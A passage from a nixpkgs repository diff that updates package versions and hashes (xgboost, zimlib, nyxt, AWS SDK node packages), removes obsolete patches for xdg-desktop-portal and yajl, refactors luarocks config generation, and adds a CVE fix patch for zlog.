+ if (portal_dir == NULL) + portal_dir = DATADIR "/xdg-desktop-portal/portals"; + diff --git a/pkgs/development/libraries/xdg-desktop-portal/separate-env-for-portal-config.patch b/pkgs/development/libraries/xdg-desktop-portal/separate-env-for-portal-config.patch deleted file mode 100644 index 020d98c20700e..0000000000000 --- a/pkgs/development/libraries/xdg-desktop-portal/separate-env-for-portal-config.patch +++ /dev/null @@ -1,33 +0,0 @@ -diff --git a/src/portal-impl.c b/src/portal-impl.c -index 0fa9682e..99f379dc 100644 ---- a/src/portal-impl.c -+++ b/src/portal-impl.c -@@ -433,8 +433,7 @@ load_portal_configuration (gboolean opt_verbose) - - desktops = get_current_lowercase_desktops (); - -- /* We need to override this in the tests */ -- portal_dir = g_getenv ("XDG_DESKTOP_PORTAL_DIR"); -+ portal_dir = g_getenv ("NIXOS_XDG_DESKTOP_PORTAL_CONFIG_DIR_OVERRIDE"); - - if (portal_dir != NULL) - { -@@ -464,6 +463,18 @@ load_portal_configuration (gboolean opt_verbose) - if (load_config_directory (SYSCONFDIR "/" XDP_SUBDIR, desktops, opt_verbose)) - return; - -+ portal_dir = g_getenv ("NIXOS_XDG_DESKTOP_PORTAL_CONFIG_DIR"); -+ -+ if (portal_dir == NULL) -+ /* We need to override this in the tests */ -+ portal_dir = g_getenv ("XDG_DESKTOP_PORTAL_DIR"); -+ -+ if (portal_dir != NULL) -+ { -+ if (load_config_directory (portal_dir, desktops, opt_verbose)) -+ return; -+ } -+ - /* $XDG_DATA_HOME/xdg-desktop-portal/(DESKTOP-)portals.conf - * (just for consistency with other XDG specifications) */ - g_clear_pointer (&user_portal_dir, g_free); diff --git a/pkgs/development/libraries/xgboost/default.nix b/pkgs/development/libraries/xgboost/default.nix index 0af51a40dfb1e..b700dd2581c44 100644 --- a/pkgs/development/libraries/xgboost/default.nix +++ b/pkgs/development/libraries/xgboost/default.nix @@ -45,14 +45,14 @@ stdenv.mkDerivation rec { # in \ # rWrapper.override{ packages = [ xgb ]; }" pname = lib.optionalString rLibrary "r-" + pnameBase; - version = "2.0.1"; + version = "2.0.3"; src = fetchFromGitHub { owner = "dmlc"; repo = pnameBase; rev = "v${version}"; fetchSubmodules = true; - hash = "sha256-tRx6kJwIoVSN701ppuyZpIFUQIFy4LBMFyirLtwApjA="; + hash = "sha256-LWco3A6zwdnAf8blU4qjW7PFEeZaTcJlVTwVrs7nwWM="; }; nativeBuildInputs = [ cmake ] @@ -143,6 +143,7 @@ stdenv.mkDerivation rec { "Scalable, Portable and Distributed Gradient Boosting (GBDT, GBRT or GBM) Library"; homepage = "https://github.com/dmlc/xgboost"; license = licenses.asl20; + mainProgram = "xgboost"; platforms = platforms.unix; maintainers = with maintainers; [ abbradar nviets ]; }; diff --git a/pkgs/development/libraries/yajl/cmake-shared-static-fix.patch b/pkgs/development/libraries/yajl/cmake-shared-static-fix.patch deleted file mode 100644 index 05c8f19dacbce..0000000000000 --- a/pkgs/development/libraries/yajl/cmake-shared-static-fix.patch +++ /dev/null @@ -1,89 +0,0 @@ -From 768be8b9f98e30a8bd2d51576be9dfcf2cb838ea Mon Sep 17 00:00:00 2001 -From: Kiskae <Kiskae@users.noreply.github.com> -Date: Tue, 26 Sep 2023 20:53:00 +0200 -Subject: [PATCH] simplify compilation of static/shared with cmake - -Signed-off-by: Kiskae <Kiskae@users.noreply.github.com> ---- - CMakeLists.txt | 2 ++ - example/CMakeLists.txt | 2 +- - perf/CMakeLists.txt | 2 +- - src/CMakeLists.txt | 7 ++----- - test/parsing/CMakeLists.txt | 2 +- - 5 files changed, 7 insertions(+), 8 deletions(-) - -diff --git a/CMakeLists.txt b/CMakeLists.txt -index 471eee13..9af25203 100644 ---- a/CMakeLists.txt -+++ b/CMakeLists.txt -@@ -16,6 +16,8 @@ CMAKE_MINIMUM_REQUIRED(VERSION 2.6) - - PROJECT(YetAnotherJSONParser C) - -+option(BUILD_SHARED_LIBS "Build using shared libraries" ON) -+ - SET (YAJL_MAJOR 2) - SET (YAJL_MINOR 1) - SET (YAJL_MICRO 1) -diff --git a/example/CMakeLists.txt b/example/CMakeLists.txt -index 0a7f6220..62ddf14c 100644 ---- a/example/CMakeLists.txt -+++ b/example/CMakeLists.txt -@@ -20,4 +20,4 @@ LINK_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR}/../${YAJL_DIST_NAME}/lib) - - ADD_EXECUTABLE(parse_config ${SRCS}) - --TARGET_LINK_LIBRARIES(parse_config yajl_s) -+TARGET_LINK_LIBRARIES(parse_config yajl) -diff --git a/perf/CMakeLists.txt b/perf/CMakeLists.txt -index b438d7a1..924a2681 100644 ---- a/perf/CMakeLists.txt -+++ b/perf/CMakeLists.txt -@@ -20,4 +20,4 @@ LINK_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR}/../${YAJL_DIST_NAME}/lib) - - ADD_EXECUTABLE(perftest ${SRCS}) - --TARGET_LINK_LIBRARIES(perftest yajl_s) -+TARGET_LINK_LIBRARIES(perftest yajl) -diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt -index 789ddf99..78875032 100644 ---- a/src/CMakeLists.txt -+++ b/src/CMakeLists.txt -@@ -35,9 +35,7 @@ SET (pkgconfigDir ${CMAKE_CURRENT_BINARY_DIR}/../${YAJL_DIST_NAME}/lib/pkgconfig - # set the output path for libraries - SET(LIBRARY_OUTPUT_PATH ${libDir}) - --ADD_LIBRARY(yajl_s STATIC ${SRCS} ${HDRS} ${PUB_HDRS}) -- --ADD_LIBRARY(yajl SHARED ${SRCS} ${HDRS} ${PUB_HDRS}) -+ADD_LIBRARY(yajl ${SRCS} ${HDRS} ${PUB_HDRS}) - - #### setup shared library version number - SET_TARGET_PROPERTIES(yajl PROPERTIES -@@ -69,7 +67,7 @@ FOREACH (header ${PUB_HDRS}) - - EXEC_PROGRAM(${CMAKE_COMMAND} ARGS -E copy_if_different ${header} ${incDir}) - -- ADD_CUSTOM_COMMAND(TARGET yajl_s POST_BUILD -+ ADD_CUSTOM_COMMAND(TARGET yajl POST_BUILD - COMMAND ${CMAKE_COMMAND} -E copy_if_different ${header} ${incDir}) - ENDFOREACH (header ${PUB_HDRS}) - -@@ -81,7 +79,6 @@ INSTALL(TARGETS yajl - RUNTIME DESTINATION lib${LIB_SUFFIX} - LIBRARY DESTINATION lib${LIB_SUFFIX} - ARCHIVE DESTINATION lib${LIB_SUFFIX}) --INSTALL(TARGETS yajl_s ARCHIVE DESTINATION lib${LIB_SUFFIX}) - INSTALL(FILES ${PUB_HDRS} DESTINATION include/yajl) - INSTALL(FILES ${incDir}/yajl_version.h DESTINATION include/yajl) - INSTALL(FILES ${pkgconfigDir}/yajl.pc DESTINATION lib${LIB_SUFFIX}/pkgconfig) -diff --git a/test/parsing/CMakeLists.txt b/test/parsing/CMakeLists.txt -index c22a3887..f445920d 100644 ---- a/test/parsing/CMakeLists.txt -+++ b/test/parsing/CMakeLists.txt -@@ -20,4 +20,4 @@ LINK_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR}/../../${YAJL_DIST_NAME}/lib) - - ADD_EXECUTABLE(yajl_test ${SRCS}) - --TARGET_LINK_LIBRARIES(yajl_test yajl_s) -+TARGET_LINK_LIBRARIES(yajl_test yajl) diff --git a/pkgs/development/libraries/yajl/default.nix b/pkgs/development/libraries/yajl/default.nix index dad884c248426..83aedce31ff85 100644 --- a/pkgs/development/libraries/yajl/default.nix +++ b/pkgs/development/libraries/yajl/default.nix @@ -2,20 +2,15 @@ stdenv.mkDerivation (finalAttrs: { pname = "yajl"; - version = "unstable-2022-04-20"; + version = "2.1.0-unstable-2024-02-01"; src = fetchFromGitHub { owner = "containers"; repo = "yajl"; - rev = "49923ccb2143e36850bcdeb781e2bcdf5ce22f15"; - hash = "sha256-9bMPA5FpyBp8fvG/kkT/MnhYtdqg3QzOnmDFXKwJVW0="; + rev = "6bc5219389fd2752631682b0a8368e6d8218a8c5"; + hash = "sha256-vY0tqCkz6PN00Qbip5ViO64L3C06fJ4JjFuIk0TWgCo="; }; - patches = [ - # https://github.com/containers/yajl/pull/1 - ./cmake-shared-static-fix.patch - ]; - nativeBuildInputs = [ cmake ]; doCheck = true; diff --git a/pkgs/development/libraries/zimlib/default.nix b/pkgs/development/libraries/zimlib/default.nix index 40f8e670b5268..fdcad63a279f6 100644 --- a/pkgs/development/libraries/zimlib/default.nix +++ b/pkgs/development/libraries/zimlib/default.nix @@ -11,19 +11,19 @@ stdenv.mkDerivation rec { pname = "zimlib"; - version = "8.2.0"; + version = "9.1.0"; src = fetchFromGitHub { owner = "openzim"; repo = "libzim"; rev = version; - sha256 = "sha256-ab7UUF+I0/xaGChvdjylEQRHLOjmtg/wk+/JEGehGLE="; + hash = "sha256-yWnW/+CaQwbemrNLzvQpXw5yvW2Q6LtwDgvA58+fVUs="; }; testData = fetchzip rec { - passthru.version = "0.4"; + passthru.version = "0.5"; url = "https://github.com/openzim/zim-testing-suite/releases/download/v${passthru.version}/zim-testing-suite-${passthru.version}.tar.gz"; - sha256 = "sha256-2eJqmvs/GrvOD/pq8dTubaiO9ZpW2WqTNQByv354Z0w="; + hash = "sha256-hCIFT1WPDjhoZMlsR2cFbt4NhmIJ4DX1H/tDCIv4NjQ="; }; nativeBuildInputs = [ @@ -47,6 +47,12 @@ stdenv.mkDerivation rec { mesonFlags = [ "-Dtest_data_dir=${testData}" ]; + env.NIX_CFLAGS_COMPILE = toString ( + lib.optionals (stdenv.cc.isGNU) [ + "-Wno-error=mismatched-new-delete" + ] + ); + nativeCheckInputs = [ gtest ]; diff --git a/pkgs/development/libraries/zlog/default.nix b/pkgs/development/libraries/zlog/default.nix index 4baa18b9d46f4..df6c253075e6b 100644 --- a/pkgs/development/libraries/zlog/default.nix +++ b/pkgs/development/libraries/zlog/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchFromGitHub }: +{ lib, stdenv, fetchFromGitHub, fetchpatch }: stdenv.mkDerivation rec { version = "1.2.17"; @@ -11,6 +11,14 @@ stdenv.mkDerivation rec { sha256 = "sha256-ckpDMRLxObpl8N539DC5u2bPpmD7jM+KugurUfta6tg="; }; + patches = [ + (fetchpatch { + name = "CVE-2024-22857.patch"; + url = "https://github.com/HardySimpson/zlog/commit/c47f781a9f1e9604f5201e27d046d925d0d48ac4.patch"; + hash = "sha256-3FAAHJ2R/OpNpErWXptjEh0x370/jzvK2VhuUuyaOjE="; + }) + ]; + makeFlags = [ "PREFIX=${placeholder "out"}" ]; meta = with lib; { diff --git a/pkgs/development/lisp-modules/packages.nix b/pkgs/development/lisp-modules/packages.nix index e36aa1794eb7d..2b26ba64c15b1 100644 --- a/pkgs/development/lisp-modules/packages.nix +++ b/pkgs/development/lisp-modules/packages.nix @@ -362,7 +362,7 @@ let nyxt-gtk = build-asdf-system { pname = "nyxt"; - version = "3.11.2"; + version = "3.11.4"; lispLibs = (with super; [ alexandria @@ -456,12 +456,14 @@ let nclasses nfiles cl-containers + # remove this override after quicklisp one is updated. + # Because of building failure with new sbcl, the slime version is different from the nyxt pinned one (swank.overrideAttrs (final: prev: { src = pkgs.fetchFromGitHub { owner = "slime"; repo = "slime"; - rev = "735258a26bb97e85d25f39e4bef83c1f80c12f5d"; - hash = "sha256-vMMer6qLJDKTwNE3unsOQezujISqFtn2AYl8cxsJvrc="; + rev = "v2.29.1"; + hash = "sha256-5hNB5XxbTER4HX3dn4umUGnw6UeiTQkczmggFz4uWoE="; }; systems = [ "swank" "swank/exts" ]; })) @@ -470,8 +472,8 @@ let src = pkgs.fetchFromGitHub { owner = "atlas-engineer"; repo = "nyxt"; - rev = "3.11.2"; - hash = "sha256-D89bPsiMj0SNlt1IlC19hk90mmXAvmZgyjzXw2g7570="; + rev = "3.11.4"; + hash = "sha256-5LhpcuQTioOXZtzwN9B1vWo/xsYXxn9fSKRCdhSPM7A="; }; nativeBuildInputs = [ pkgs.makeWrapper ]; diff --git a/pkgs/development/lua-modules/lib.nix b/pkgs/development/lua-modules/lib.nix index 189e3464e81a7..5841547073d39 100644 --- a/pkgs/development/lua-modules/lib.nix +++ b/pkgs/development/lua-modules/lib.nix @@ -74,7 +74,11 @@ rec { }; }); - /* generate luarocks config + + /* generate a luarocks config conforming to: + https://github.com/luarocks/luarocks/wiki/Config-file-format + + The config lists folders where to find lua dependencies Example: generateLuarocksConfig { @@ -89,7 +93,6 @@ rec { externalDeps ? [] # a list of lua derivations , requiredLuaRocks ? [] - , extraVariables ? {} , rocksSubdir ? "rocks-subdir" , ... }@args: let @@ -119,33 +122,37 @@ rec { externalDepsDirs = map (x: builtins.toString x) (lib.filter (lib.isDerivation) externalDeps); - in toLua { asBindings = true; } ({ - local_cache = ""; - # To prevent collisions when creating environments, we install the rock - # files into per-package subdirectories - rocks_subdir = rocksSubdir; - # first tree is the default target where new rocks are installed, - # any other trees in the list are treated as additional sources of installed rocks for matching dependencies. - rocks_trees = ( - [{name = "current"; root = "${placeholder "out"}"; rocks_dir = "current"; }] ++ - rocksTrees - ); - } // lib.optionalAttrs lua.pkgs.isLuaJIT { - # Luajit provides some additional functionality built-in; this exposes - # that to luarock's dependency system - rocks_provided = { - jit = "${lua.luaversion}-1"; - ffi = "${lua.luaversion}-1"; - luaffi = "${lua.luaversion}-1"; - bit = "${lua.luaversion}-1"; - }; - } // { - # For single-output external dependencies - external_deps_dirs = externalDepsDirs; - # Some needed machinery to handle multiple-output external dependencies, - # as per https://github.com/luarocks/luarocks/issues/766 - variables = (depVariables // extraVariables); - } - // removeAttrs args [ "rocksSubdir" "extraVariables" "requiredLuaRocks" "externalDeps" ] - ); + + generatedConfig = ({ + local_cache = ""; + + # To prevent collisions when creating environments, we install the rock + # files into per-package subdirectories + rocks_subdir = rocksSubdir; + + # first tree is the default target where new rocks are installed, + # any other trees in the list are treated as additional sources of installed rocks for matching dependencies. + rocks_trees = ( + [{name = "current"; root = "${placeholder "out"}"; rocks_dir = "current"; }] ++ + rocksTrees + ); + } // lib.optionalAttrs lua.pkgs.isLuaJIT { + # Luajit provides some additional functionality built-in; this exposes + # that to luarock's dependency system + rocks_provided = { + jit = "${lua.luaversion}-1"; + ffi = "${lua.luaversion}-1"; + luaffi = "${lua.luaversion}-1"; + bit = "${lua.luaversion}-1"; + }; + } // { + # For single-output external dependencies + external_deps_dirs = externalDepsDirs; + # Some needed machinery to handle multiple-output external dependencies, + # as per https://github.com/luarocks/luarocks/issues/766 + variables = depVariables; + } + // removeAttrs args [ "requiredLuaRocks" "externalDeps" ] + ); + in generatedConfig; } diff --git a/pkgs/development/lua-modules/nfd/default.nix b/pkgs/development/lua-modules/nfd/default.nix index a02fd0a1df4d9..5c2ffabc9b543 100644 --- a/pkgs/development/lua-modules/nfd/default.nix +++ b/pkgs/development/lua-modules/nfd/default.nix @@ -22,7 +22,7 @@ buildLuarocksPackage { ]; knownRockspec = "lua/nfd-scm-1.rockspec"; - extraVariables.LUA_LIBDIR = "${lua}/lib"; + luarocksConfig.LUA_LIBDIR = "${lua}/lib"; nativeBuildInputs = [ pkg-config ]; buildInputs = lib.optionals stdenv.isDarwin [ AppKit ]; diff --git a/pkgs/development/lua-modules/overrides.nix b/pkgs/development/lua-modules/overrides.nix index 20641092e7b19..a0ad250439208 100644 --- a/pkgs/development/lua-modules/overrides.nix +++ b/pkgs/development/lua-modules/overrides.nix @@ -164,7 +164,7 @@ with prev; }); ldbus = prev.ldbus.overrideAttrs (oa: { - extraVariables = { + luarocksConfig.variables = { DBUS_DIR = "${dbus.lib}"; DBUS_ARCH_INCDIR = "${dbus.lib}/lib/dbus-1.0/include"; DBUS_INCDIR = "${dbus.dev}/include/dbus-1.0"; @@ -309,7 +309,7 @@ with prev; }); luadbi-mysql = prev.luadbi-mysql.overrideAttrs (oa: { - extraVariables = { + luarocksConfig.variables = { # Can't just be /include and /lib, unfortunately needs the trailing 'mysql' MYSQL_INCDIR = "${libmysqlclient.dev}/include/mysql"; MYSQL_LIBDIR = "${libmysqlclient}/lib/mysql"; @@ -520,7 +520,7 @@ with prev; buildInputs = [ libuv ]; # Use system libuv instead of building local and statically linking - extraVariables = { + luarocksConfig.variables = { WITH_SHARED_LIBUV = "ON"; }; @@ -573,6 +573,7 @@ with prev; ''; }); + # upstream broken, can't be generated, so moved out from the generated set readline = final.callPackage({ buildLuarocksPackage, fetchurl, luaAtLeast, luaOlder, lua, luaposix }: buildLuarocksPackage ({ pname = "readline"; @@ -588,7 +589,7 @@ with prev; sha256 = "1mk9algpsvyqwhnq7jlw4cgmfzj30l7n2r6ak4qxgdxgc39f48k4"; }; - extraVariables = rec { + luarocksConfig.variables = rec { READLINE_INCDIR = "${readline.dev}/include"; HISTORY_INCDIR = READLINE_INCDIR; }; @@ -597,7 +598,6 @@ with prev; tar xf *.tar.gz ''; - disabled = (luaOlder "5.1") || (luaAtLeast "5.5"); propagatedBuildInputs = [ lua luaposix readline.out ]; @@ -606,6 +606,7 @@ with prev; homepage = "http://pjb.com.au/comp/lua/readline.html"; description = "Interface to the readline library"; license.fullName = "MIT/X11"; + broken = (luaOlder "5.1") || (luaAtLeast "5.5"); }; })) {}; diff --git a/pkgs/development/misc/brev-cli/default.nix b/pkgs/development/misc/brev-cli/default.nix index 40a5d08608016..05ef47ee27946 100644 --- a/pkgs/development/misc/brev-cli/default.nix +++ b/pkgs/development/misc/brev-cli/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "brev-cli"; - version = "0.6.273"; + version = "0.6.277"; src = fetchFromGitHub { owner = "brevdev"; repo = pname; rev = "v${version}"; - sha256 = "sha256-bZaSRRFlQ67q09BkeZBqOJalnkhwir/moC10m3ugFEc="; + sha256 = "sha256-s80veDxN0GfHKOwDhxx1ArZXqk8OPSl+d/Ruxj0oLJA="; }; vendorHash = "sha256-IR/tgqh8rS4uN5jSOcopCutbHCKHSU9icUfRhOgu4t8="; diff --git a/pkgs/development/misc/resholve/oildev.nix b/pkgs/development/misc/resholve/oildev.nix index 4e7cdb5e60438..2098ec80f5ae7 100644 --- a/pkgs/development/misc/resholve/oildev.nix +++ b/pkgs/development/misc/resholve/oildev.nix @@ -120,7 +120,6 @@ rec { rm cpp/stdlib.h # keep modules from finding the wrong stdlib? # work around hard parse failure documented in oilshell/oil#1468 substituteInPlace osh/cmd_parse.py --replace 'elif self.c_id == Id.Op_LParen' 'elif False' - '' + lib.optionalString (!stdenv.hostPlatform.isGnu && !stdenv.hostPlatform.isDarwin) '' # disable fragile libc tests substituteInPlace build/py.sh --replace "py-ext-test pyext/libc_test.py" "#py-ext-test pyext/libc_test.py" ''; diff --git a/pkgs/development/mobile/maestro/default.nix b/pkgs/development/mobile/maestro/default.nix index 6b0ef4613e2a1..2b7e22255e191 100644 --- a/pkgs/development/mobile/maestro/default.nix +++ b/pkgs/development/mobile/maestro/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "maestro"; - version = "1.35.0"; + version = "1.36.0"; src = fetchurl { url = "https://github.com/mobile-dev-inc/maestro/releases/download/cli-${version}/maestro.zip"; - sha256 = "1rr3ihirga9jjw1n9z45hby6j68d0q11alzhqz4yv2ibvrjykzai"; + sha256 = "18zffmqz32dfb66yy48z3dl258rlfc8m2r4021hbrbixvk7k3qb7"; }; dontUnpack = true; diff --git a/pkgs/development/node-packages/node-packages.nix b/pkgs/development/node-packages/node-packages.nix index 67b0fd474e601..b4e6477be9d38 100644 --- a/pkgs/development/node-packages/node-packages.nix +++ b/pkgs/development/node-packages/node-packages.nix @@ -76,31 +76,31 @@ let sha512 = "lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg=="; }; }; - "@angular-devkit/architect-0.1701.2" = { + "@angular-devkit/architect-0.1702.0" = { name = "_at_angular-devkit_slash_architect"; packageName = "@angular-devkit/architect"; - version = "0.1701.2"; + version = "0.1702.0"; src = fetchurl { - url = "https://registry.npmjs.org/@angular-devkit/architect/-/architect-0.1701.2.tgz"; - sha512 = "g3gn5Ht6r9bCeFeAYF+HboZB8IvgvqqdeOnaWNaXJLI0ymEkpbqRdqrHGuVKHJV7JOMNXC7GPJEctBC6SXxOxA=="; + url = "https://registry.npmjs.org/@angular-devkit/architect/-/architect-0.1702.0.tgz"; + sha512 = "+HkOYhdq8ez2+yqpxaQ6XtQevOYJNaDpM4oDmZ2lIpiIusFNsmpY2b9iL5PZGb4EfUgN8KsY3n9Q9fmRlRB9eA=="; }; }; - "@angular-devkit/core-17.1.2" = { + "@angular-devkit/core-17.2.0" = { name = "_at_angular-devkit_slash_core"; packageName = "@angular-devkit/core"; - version = "17.1.2"; + version = "17.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@angular-devkit/core/-/core-17.1.2.tgz"; - sha512 = "ku+/W/HMCBacSWFppenr9y6Lx8mDuTuQvn1IkTyBLiJOpWnzgVbx9kHDeaDchGa1PwLlJUBBrv27t3qgJOIDPw=="; + url = "https://registry.npmjs.org/@angular-devkit/core/-/core-17.2.0.tgz"; + sha512 = "GIOYHChtDqSOvSiEefJ6hAledEl55J5Pxw8JuKXrM4IJBbviI3c40FAc0Lu5NCj2lYoELOhrLy/UP36sLy+DGA=="; }; }; - "@angular-devkit/schematics-17.1.2" = { + "@angular-devkit/schematics-17.2.0" = { name = "_at_angular-devkit_slash_schematics"; packageName = "@angular-devkit/schematics"; - version = "17.1.2"; + version = "17.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@angular-devkit/schematics/-/schematics-17.1.2.tgz"; - sha512 = "8S9RuM8olFN/gwN+mjbuF1CwHX61f0i59EGXz9tXLnKRUTjsRR+8vVMTAmX0dvVAT5fJTG/T69X+HX7FeumdqA=="; + url = "https://registry.npmjs.org/@angular-devkit/schematics/-/schematics-17.2.0.tgz"; + sha512 = "gGyUVYRKTeRODW9S0MohfBlryoUHrbxqN27olhktrM/fZavyUVnZpyfb8okp6tTUz9HWmGac8ULE6IU+YW16gw=="; }; }; "@apidevtools/json-schema-ref-parser-9.0.6" = { @@ -283,13 +283,13 @@ let sha512 = "o/ObKgtMzl8SlpIdzaxFnt7SATKPxu4oIP/1NL+HDJRzxfJcAkOTAb/ZKMRyULbz4q+1t2/DAebs2Z1QairkZw=="; }; }; - "@astrojs/compiler-2.5.2" = { + "@astrojs/compiler-2.5.3" = { name = "_at_astrojs_slash_compiler"; packageName = "@astrojs/compiler"; - version = "2.5.2"; + version = "2.5.3"; src = fetchurl { - url = "https://registry.npmjs.org/@astrojs/compiler/-/compiler-2.5.2.tgz"; - sha512 = "fm9HNYu1tVnJjZYHE+SdDM5k6fZKNPXS9PwT43Mf6l4HVGx8d1jQwhGQqCvLkYJJBwQ9OysiexFMt7wtNuXhmQ=="; + url = "https://registry.npmjs.org/@astrojs/compiler/-/compiler-2.5.3.tgz"; + sha512 = "jzj01BRv/fmo+9Mr2FhocywGzEYiyiP2GVHje1ziGNU6c97kwhYGsnvwMkHrncAy9T9Vi54cjaMK7UE4ClX4vA=="; }; }; "@asyncapi/specs-4.3.1" = { @@ -409,13 +409,13 @@ let sha512 = "PI6mjM0fmcV2fqkkRoivF3DYex4lnbEz7WIsOFAwpHJBbA9ykClQpiutCKcgl0x/yEWAeTNdQtrCVeAwbxYfvw=="; }; }; - "@aws-sdk/client-s3-3.504.0" = { + "@aws-sdk/client-s3-3.515.0" = { name = "_at_aws-sdk_slash_client-s3"; packageName = "@aws-sdk/client-s3"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/client-s3/-/client-s3-3.504.0.tgz"; - sha512 = "J8xPsnk7EDwalFSaDxPFNT2+x99nG2uQTpsLXAV3bWbT1nD/JZ+fase9GqxM11v6WngzqRvTQg26ljMn5hQSKA=="; + url = "https://registry.npmjs.org/@aws-sdk/client-s3/-/client-s3-3.515.0.tgz"; + sha512 = "K527n83hrMUdosxOYTzL63wtlJtmN5SUJZnGY1sUR6UyOrnOr9lS6t3AB6BgHqLFRFZJqSqmhflv2cOD7P1UPg=="; }; }; "@aws-sdk/client-sso-3.296.0" = { @@ -427,13 +427,13 @@ let sha512 = "0P0x++jhlmhzViFPOHvTb7+Z6tSV9aONwB8CchIseg2enSPBbGfml7y5gQu1jdOTDS6pBUmrPZ+9sOI4/GvAfA=="; }; }; - "@aws-sdk/client-sso-3.502.0" = { + "@aws-sdk/client-sso-3.515.0" = { name = "_at_aws-sdk_slash_client-sso"; packageName = "@aws-sdk/client-sso"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.502.0.tgz"; - sha512 = "OZAYal1+PQgUUtWiHhRayDtX0OD+XpXHKAhjYgEIPbyhQaCMp3/Bq1xDX151piWXvXqXLJHFKb8DUEqzwGO9QA=="; + url = "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.515.0.tgz"; + sha512 = "4oGBLW476zmkdN98lAns3bObRNO+DLOfg4MDUSR6l6GYBV/zGAtoy2O/FhwYKgA2L5h2ZtElGopLlk/1Q0ePLw=="; }; }; "@aws-sdk/client-sso-oidc-3.296.0" = { @@ -445,13 +445,13 @@ let sha512 = "GRycCVdlFICvWwv9z6Mc/2BvSBOvchWO7UTklvbKXeDn6D05C+02PfxeoocMTc4r8/eFoEQWs67h5u/lPpyHDw=="; }; }; - "@aws-sdk/client-sso-oidc-3.504.0" = { + "@aws-sdk/client-sso-oidc-3.515.0" = { name = "_at_aws-sdk_slash_client-sso-oidc"; packageName = "@aws-sdk/client-sso-oidc"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/client-sso-oidc/-/client-sso-oidc-3.504.0.tgz"; - sha512 = "ODA33/nm2srhV08EW0KZAP577UgV0qjyr7Xp2yEo8MXWL4ZqQZprk1c+QKBhjr4Djesrm0VPmSD/np0mtYP68A=="; + url = "https://registry.npmjs.org/@aws-sdk/client-sso-oidc/-/client-sso-oidc-3.515.0.tgz"; + sha512 = "zACa8LNlPUdlNUBqQRf5a3MfouLNtcBfm84v2c8M976DwJrMGONPe1QjyLLsD38uESQiXiVQRruj/b000iMXNw=="; }; }; "@aws-sdk/client-sts-3.296.0" = { @@ -463,13 +463,13 @@ let sha512 = "ew7hSVNpitnLCIRVhnI2L1HZB/yYpRQFReR62fOqCUnpKqm6WGga37bnvgYbY5y0Rv23C0VHARovwunVg1gabA=="; }; }; - "@aws-sdk/client-sts-3.504.0" = { + "@aws-sdk/client-sts-3.515.0" = { name = "_at_aws-sdk_slash_client-sts"; packageName = "@aws-sdk/client-sts"; - version = "3.504.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.504.0.tgz"; - sha512 = "IESs8FkL7B/uY+ml4wgoRkrr6xYo4PizcNw6JX17eveq1gRBCPKeGMjE6HTDOcIYZZ8rqz/UeuH3JD4UhrMOnA=="; + url = "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.515.0.tgz"; + sha512 = "ScYuvaIDgip3atOJIA1FU2n0gJkEdveu1KrrCPathoUCV5zpK8qQmO/n+Fj/7hKFxeKdFbB+4W4CsJWYH94nlg=="; }; }; "@aws-sdk/config-resolver-3.296.0" = { @@ -481,13 +481,13 @@ let sha512 = "Ecdp7fmIitHo49NRCyIEHb9xlI43J7qkvhcwaKGGqN5jvoh0YhR2vNr195wWG8Ip/9PwsD4QV4g/XT5EY7XkMA=="; }; }; - "@aws-sdk/core-3.496.0" = { + "@aws-sdk/core-3.513.0" = { name = "_at_aws-sdk_slash_core"; packageName = "@aws-sdk/core"; - version = "3.496.0"; + version = "3.513.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/core/-/core-3.496.0.tgz"; - sha512 = "yT+ug7Cw/3eJi7x2es0+46x12+cIJm5Xv+GPWsrTFD1TKgqO/VPEgfDtHFagDNbFmjNQA65Ygc/kEdIX9ICX/A=="; + url = "https://registry.npmjs.org/@aws-sdk/core/-/core-3.513.0.tgz"; + sha512 = "L+9DL4apWuqNKVOMJ8siAuWoRM9rZf9w1iPv8S2o83WO2jVK7E/m+rNW1dFo9HsA5V1ccDl2H2qLXx24HiHmOw=="; }; }; "@aws-sdk/credential-provider-env-3.296.0" = { @@ -499,22 +499,22 @@ let sha512 = "eDWSU3p04gytkkVXnYn05YzrP5SEaj/DQiafd4y+iBl8IFfF3zM6982rs6qFhvpwrHeSbLqHNfKR1HDWVwfG5g=="; }; }; - "@aws-sdk/credential-provider-env-3.502.0" = { + "@aws-sdk/credential-provider-env-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-env"; packageName = "@aws-sdk/credential-provider-env"; - version = "3.502.0"; + version = "3.515.0"; src = fetchurl { - url = "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.502.0.tgz"; - sha512 = "KIB8Ae1Z7domMU/jU4KiIgK4tmYgvuXlhR54ehwlVHxnEoFPoPuGHFZU7oFn79jhhSLUFQ1lRYMxP0cEwb7XeQ=="; + url = "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.515.0.tgz"; + sha512 = "45vxdyqhTAaUMERYVWOziG3K8L2TV9G4ryQS/KZ84o7NAybE9GMdoZRVmGHAO7mJJ1wQiYCM/E+i5b3NW9JfNA=="; }; }; - "@aws-sdk/credential-provider-http-3.503.1" = { + "@aws-sdk/credential-provider-http-3.515.0" = { name = "_at_aws-sdk_slash_credential-provider-http"; packageName = "@aws-sdk/credential-provider-http"; - version = "3.503.1"; + version = "3.515.0"; src = fetchurl { - url = 